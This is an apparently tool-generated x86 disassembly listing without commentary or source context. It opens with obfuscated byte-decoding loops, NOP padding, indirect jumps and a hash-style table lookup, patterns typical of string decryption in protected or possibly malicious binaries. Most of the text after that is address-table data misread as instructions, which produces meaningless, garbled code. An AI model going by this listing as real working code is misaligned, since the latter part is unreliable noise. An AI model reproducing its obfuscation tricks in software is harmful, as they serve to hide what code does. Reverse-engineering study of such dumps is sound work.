mov ecx, 0x47a37a22
mov dword [esp], ecx
movzx eax, byte [esp + ecx - 0x47a37a02]
mov dword [esp + 0x7c], eax
mov ecx, dword [esp]
or ecx, eax
mov eax, dword [esp]
lea edx, [eax - 0x47a37a00]
and edx, dword [esp + 0x7c]
sub ecx, edx
mov edx, ecx
not edx
and edx, 1
mov eax, 0xaa
sub eax, ecx
and ecx, 1
and eax, 0xfe
or eax, ecx
mov ecx, dword [esp]
xor eax, 0xfe
lea eax, [eax + edx*2]
mov byte [esp + ecx - 0x47a37a02], al
inc ecx
cmp ecx, 0x47a37a42
jne 0x42bdf3
movzx ecx, byte [esp + 0x20]
mov eax, dword [esp + 0x14]
test cl, cl
je 0x42be69
lea edx, [esp + 0x21]
mov eax, dword [esp + 0x14]
mov byte [eax], cl
inc eax
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x42be5e
mov byte [eax], 0
mov ecx, dword [esp + 8]
test ecx, ecx
je 0x42bea2
add esi, dword [esp + 4]
mov edx, ecx
and edx, 3
je 0x42bea6
xor ecx, ecx
mov dword [esp], edx
movzx edx, byte [esi]
cmp dl, 1
sbb esi, 0xffffffff
mov byte [eax + ecx], dl
mov edx, dword [esp]
inc ecx
cmp edx, ecx
jne 0x42be84
add eax, ecx
sub dword [esp + 8], ecx
mov ecx, eax
jmp 0x42bea6
mov ecx, eax
jmp 0x42bef7
mov edx, dword [esp + 4]
add edx, edi
mov edi, edx
mov edx, ebx
sub edx, edi
add edx, 0xfffffff5
cmp edx, 3
mov edi, dword [esp + 8]
jb 0x42bef7
movzx ecx, byte [esi]
cmp cl, 1
sbb esi, 0xffffffff
mov byte [eax], cl
movzx ecx, byte [esi]
cmp cl, 1
sbb esi, 0xffffffff
mov byte [eax + 1], cl
movzx ecx, byte [esi]
cmp cl, 1
sbb esi, 0xffffffff
mov byte [eax + 2], cl
movzx edx, byte [esi]
cmp dl, 1
sbb esi, 0xffffffff
lea ecx, [eax + 4]
mov byte [eax + 3], dl
mov eax, ecx
add edi, 0xfffffffc
jne 0x42bebe
mov byte [ecx], 0
mov ecx, dword [esp + 0xd4]
push dword [esp + 0x6c]
push dword [esp + 0x68]
mov esi, dword [esp + 0x1c]
push esi
call fcn.00409200
mov ecx, dword [esp + 0xc]
and cl, 1
or cl, al
mov dword [esp + 0xc], ecx
jmp dword [0x4481bc]
push esi
call fcn.00408310
add esp, 4
jmp dword [0x4481c4]
jmp dword [0x4481c4]
push dword [esp + 0x64]
call fcn.00408310
add esp, 4
mov eax, dword [case.0x429f32.171]
nop
nop
nop
nop
jmp eax
mov esi, dword [esp + 0x18]
mov dword [esp + 0x20], 0x34353637
xor ecx, ecx
mov edx, 0xb3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esp + ecx + 0x20]
mov edi, ecx
or edi, eax
or edi, 0x3631664c
not eax
or eax, edx
and eax, edi
mov edi, eax
or edi, 0x82
and eax, 0x82
add eax, edi
add al, 2
mov byte [esp + ecx + 0x20], al
inc ecx
dec edx
cmp ecx, 4
jne 0x42bf70
mov eax, dword [0x44cd20]
test eax, eax
je case.0x429f32.169
mov ecx, dword [esp + 0x20]
xor edx, edx
mov edi, dword [0x44cd24]
cmp dword [edi + edx*8], 0x1b6183f2
je 0x42bfc6
inc edx
cmp eax, edx
jne 0x42bfb6
jmp case.0x429f32.169
mov eax, dword [edi + edx*8 + 4]
cmp eax, ecx
je case.0x429f32.169
push esi
push 4
push eax
push dword [0x44cd28]
call fcn.0043e090
add esp, 0x10
mov eax, dword [case.0x429f32.188]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov esi, ebx
mov edi, dword [esp + 0x10]
jmp dword [0x4481ec]
jmp dword [0x4481f8]
push edi
call fcn.00408310
add esp, 4
push edi
call fcn.00408310
add esp, 4
mov esi, ebx
jmp dword [0x448200]
push eax
push 4
push ecx
push dword [0x44cd28]
call fcn.0043e090
add esp, 0x10
mov eax, dword [esp + 0xc]
and al, 1
mov esi, eax
jmp dword [0x44820c]
xchg edi, eax
inc edx
add byte [ebp - 0x23ffbd69], ah
cwde
inc edx
add cl, bh
cwde
inc edx
add byte [edi + 0xd004299], bh
cdq
inc edx
add ch, ch
cdq
inc edx
add byte [edx + ebx*4], dl
inc edx
add ah, bh
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [ebx - 0x66], al
inc edx
add byte [ecx + ebp*4 + 0x42], al
add byte [ecx + 0x7200429a], al
wait
inc edx
add dh, bl
lcall 0x42, 0x9b720042
pop ss
mov al, byte [2607939650]
inc edx
add byte [eax + 0x42], ch
add byte [ebp + 0x4400429b], cl
test eax, 0xa94a0042
inc edx
add byte [edx - 0x57], bl
inc edx
add byte [ecx + ebp*4 + 0x42], al
add byte [edx - 0x57], cl
inc edx
add dl, ch
cmpsd dword [esi], dword es:[edi]
inc edx
add ah, bh
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [0xa60042a8], al
test al, 0x42
add byte [esi - 0x12ffbd58], ah
cdq
inc edx
add bl, dh
cdq
inc edx
add byte [ebx - 0x57ffbd65], dl
wait
inc edx
add dl, dh
mov dword [0x9cc80042], eax
inc edx
add bh, ah
mov dword [0x9d090042], eax
inc edx
add byte [ecx], dh
popfd
inc edx
add byte [ecx], dl
popfd
inc edx
add bh, ah
mov dword [0x9d170042], eax
inc edx
add byte [eax], ah
popfd
inc edx
add bh, ah
mov dword [0x9d200042], eax
inc edx
add byte [edi - 0x63], bh
inc edx
add byte [edi - 0x69ffbd63], al
lahf
inc edx
add byte [esi + 0x5d00429d], dh
lahf
inc edx
add ch, bh
popfd
inc edx
add byte [edx - 0x62], cl
inc edx
add byte [eax - 0x62], ah
inc edx
add byte [edi - 0x62], ch
inc edx
add byte [eax - 0x62], ah
inc edx
add byte [ecx], bh
lahf
inc edx
add byte [edx + 0x3900429e], cl
lahf
inc edx
add byte [edx - 0x5c], dl
inc edx
add byte [ecx], bh
lahf
inc edx
add byte [edx + 0x6f0042a4], al
movsb byte es:[edi], byte [esi]
inc edx
add byte [eax - 0x10ffbd5c], ch
movsb byte es:[edi], byte [esi]
inc edx
add byte [ebp - 0x5b], cl
inc edx
add byte [ecx - 0x5fffbd5b], al
movsd dword es:[edi], dword [esi]
inc edx
add byte [edi], bl
cmpsb byte [esi], byte es:[edi]
inc edx
add bl, dh
movsd dword es:[edi], dword [esi]
inc edx
add byte [ebx], dl
cmpsb byte [esi], byte es:[edi]
inc edx
add al, dl
movsd dword es:[edi], dword [esi]
inc edx
add byte [edi], bl
cmpsb byte [esi], byte es:[edi]
inc edx
add al, ah
movsd dword es:[edi], dword [esi]
inc edx
add byte [ecx], dh
cmpsb byte [esi], byte es:[edi]
inc edx
add byte [ebp - 0x5a], al
inc edx
add dl, dl
cmpsb byte [esi], byte es:[edi]
inc edx
add ah, bl
cmpsb byte [esi], byte es:[edi]
inc edx
add al, al
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [edi - 0x5c], ch
inc edx
add bl, bl
cmpsd dword [esi], dword es:[edi]
inc edx
add dl, dl
cmpsd dword [esi], dword es:[edi]
inc edx
add dl, dl
cmpsd dword [esi], dword es:[edi]
inc edx
add dh, al
cmpsd dword [esi], dword es:[edi]
inc edx
add al, dl
cmpsd dword [esi], dword es:[edi]
inc edx
add al, dl
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [edi - 0x5c], ch
inc edx
add al, dl
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [esi - 0x61], al
inc edx
add byte [ebp - 0x61], bl
inc edx
add byte [eax - 0x61], dh
inc edx
add byte [eax - 0x61], dh
inc edx
add byte [edx - 0x61], dh
inc edx
add byte [eax - 0x61], dh
inc edx
add byte [edi + ebx*4 + 0x42], bh
add byte [eax - 0x6fffbd61], dl
lahf
inc edx
add byte [eax - 0x69ffbd61], dl
lahf
inc edx
add byte [eax + 0x2000429f], dl
mov dword [0xa3320042], eax
inc edx
add byte [eax], dh
mov dword [0xa3300042], eax
inc edx
add byte [eax], dh
mov dword [0xa3320042], eax
inc edx
add byte [eax - 0x5d], al
inc edx
add byte [edx - 0x5d], cl
inc edx
add bl, bl
mov dword [0xa3e40042], eax
inc edx
add al, dh
mov dword [0xa3f00042], eax
inc edx
add dl, dh
mov dword [0xa3f00042], eax
inc edx
add byte [ecx - 0x56], cl
inc edx
add byte [esi], ah
mov bh, 0x42
add byte [eax - 0x56], dh
inc edx
add byte [eax - 0x56], dh
inc edx
add byte [eax - 0x56], dh
inc edx
add byte [ebx - 0x56], bh
inc edx
add byte [edx - 0x49], al
inc edx
add byte [ebx - 0x49], dl
inc edx
add byte [edx - 0x49], al
inc edx
add byte [esi - 0x55ffbd4c], bl
mov ah, 0x42
add ch, cl
mov ah, 0x42
add byte [eax - 0x3fffbd4c], dh
mov ah, 0x42
add al, al
mov ah, 0x42
add al, al
mov ah, 0x42
add dh, al
mov ah, 0x42
add al, al
mov ah, 0x42
add byte [edx], bl
mov bh, 0x42
add byte [ecx + 0x200042aa], ch
mov bh, 0x42
add byte [ecx], dh
mov bh, 0x42
add byte [ecx - 0x54], ch
inc edx
add byte [eax - 0x75ffbd54], al
lodsb al, byte [esi]
inc edx
add byte [eax - 0x4affbd54], ah
lodsb al, byte [esi]
inc edx
add byte [eax - 0x30ffbd54], ah
mov al, 0x42
add ch, al
lodsb al, byte [esi]
inc edx
add byte [esi], dl
lodsd eax, dword [esi]
inc edx
add ch, dh
lodsb al, byte [esi]
inc edx
add byte [esi], dl
lodsd eax, dword [esi]
inc edx
add byte [ebp*4 - 0x509effbe], bl
inc edx
add byte [ecx - 0x51], ch
inc edx
add byte [ebp - 0x50], ah
inc edx
add byte [esi - 0x50], ch
inc edx
add byte [ebp - 0x66ffbd50], cl
mov al, 0x42
add byte [esi - 0x30ffbd50], ch
mov al, 0x42
add al, al
mov al, 0x42
add byte [eax + esi*4 - 0x4f30ffbe], dh
inc edx
add al, al
mov al, 0x42
add byte [edx - 0x4f], bl
inc edx
add byte [edi - 0x4f], bh
inc edx
add byte [eax - 0x4f], dh
inc edx
add byte [eax - 0x4f], ah
inc edx
add byte [edi - 0x4f], bh
inc edx
add byte [eax - 0x4f], dh
inc edx
add byte [eax - 0x72ffbd56], dl
mov cl, 0x42
add byte [eax], bh
mov ah, 0x42
add byte [edi - 0x4c], bl
inc edx
add byte [eax - 0x4c], dl
inc edx
add byte [esi], bh
mov ah, 0x42
add byte [eax - 0x4c], dl
inc edx
add byte [edi - 0x4c], bl
inc edx
add byte [ebp - 0x4c], ah
inc edx
add byte [esi - 0x4c], ch
inc edx
add byte [eax - 0x7fffbd4c], al
mov ah, 0x42
add byte [eax - 0x7fffbd56], dl
mov ah, 0x42
add byte [edx - 0x49], ch
inc edx
add byte [ebx - 0x49], dh
inc edx
add byte [edx - 0x49], ch
inc edx
add byte [ecx], dh
mov bh, 0x42
add byte [eax - 0x49], al
inc edx
add byte [eax - 0x49], al
inc edx
add byte [eax - 0x49], al
inc edx
add byte [esi], ah
mov bh, 0x42
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [esi], ah
mov bh, 0x42
add byte [ecx], al
add byte [eax], al
add byte [ebx], dl
mov ecx, 0xbad20042
inc edx
add byte [ebp - 0x47], dl
inc edx
add byte [ebp - 0x47], ch
inc edx
add byte [ebp - 0x47], bl
inc edx
add dh, al
mov edx, 0xb9900042
inc edx
add byte [eax + 0x130042b9], bl
mov edx, 0xb9c10042
inc edx
add ch, bh
mov ecx, 0xbadd0042
inc edx
add dh, ah
mov ebx, 0xb9fd0042
inc edx
add dh, ah
mov ebx, 0xbbe60042
inc edx
add byte [eax], bl
mov esp, 0xbbe60042
inc edx
add byte [ebx], ch
mov esp, 0xbb000042
inc edx
add byte [ebx], bh
mov esp, 0xbb000042
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ebx], bh
mov esp, 0xbc4b0042
inc edx
add byte [eax], al
mov ebx, 0xbc600042
inc edx
add byte [eax], al
mov ebx, 0xbc600042
inc edx
add byte [eax - 0x44], ah
inc edx
add byte [eax - 0x44], ah
inc edx
add byte [esi - 0x44], ah
inc edx
add byte [esi - 0x44], dh
inc edx
add byte [eax], al
mov ebx, 0xbfe00042
inc edx
add dh, dl
mov esp, 0xbf520042
inc edx
add byte [edi], al
mov ebp, 0xbf350042
inc edx
add byte [edi], dh
mov ebp, 0xbd6e0042
inc edx
add byte [edx - 0x43], bh
inc edx
add byte [esi], ah
mov edi, 0xbf350042
inc edx
add byte [ebx], bh
mov edi, 0xbf470042
inc edx
add byte [eax - 0x41], dl
inc edx
add byte [eax - 0x41], dl
inc edx
add byte [eax - 0x41], dl
inc edx
add byte [edx - 0x41], dl
inc edx
add al, dh
mov edi, 0xbff00042
inc edx
add al, dh
mov edi, 0xbff20042
inc edx
add dh, bh
mov edi, 0xbb000042
inc edx
add byte [eax + eax*8], al
inc edx
add byte [0x40042c0], cl
rol byte [edx], 0
mov ebx, 0xba070042
inc edx
add byte [ebx], dl
mov edx, 0xbaaa0042
inc edx
add al, al
mov edx, 0xbac00042
inc edx
add al, al
mov edx, 0xbac60042
inc edx
add al, al
mov edx, 0xbad00042
inc edx
add al, dl
mov edx, 0xbad20042
inc edx
add al, dl
mov edx, 0x42
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add al, 0xf8
ja 0x448244
mov eax, dword [0xc40077fc]
cld
ja 0x44824c
mov edi, 0x940077fc
std
ja 0x448254
xor eax, 0xb10077ff
add byte [eax], bh
xlatb
add byte [eax], bh
add byte [ecx], 0x78
add ch, bh
add byte [eax], bh
iretd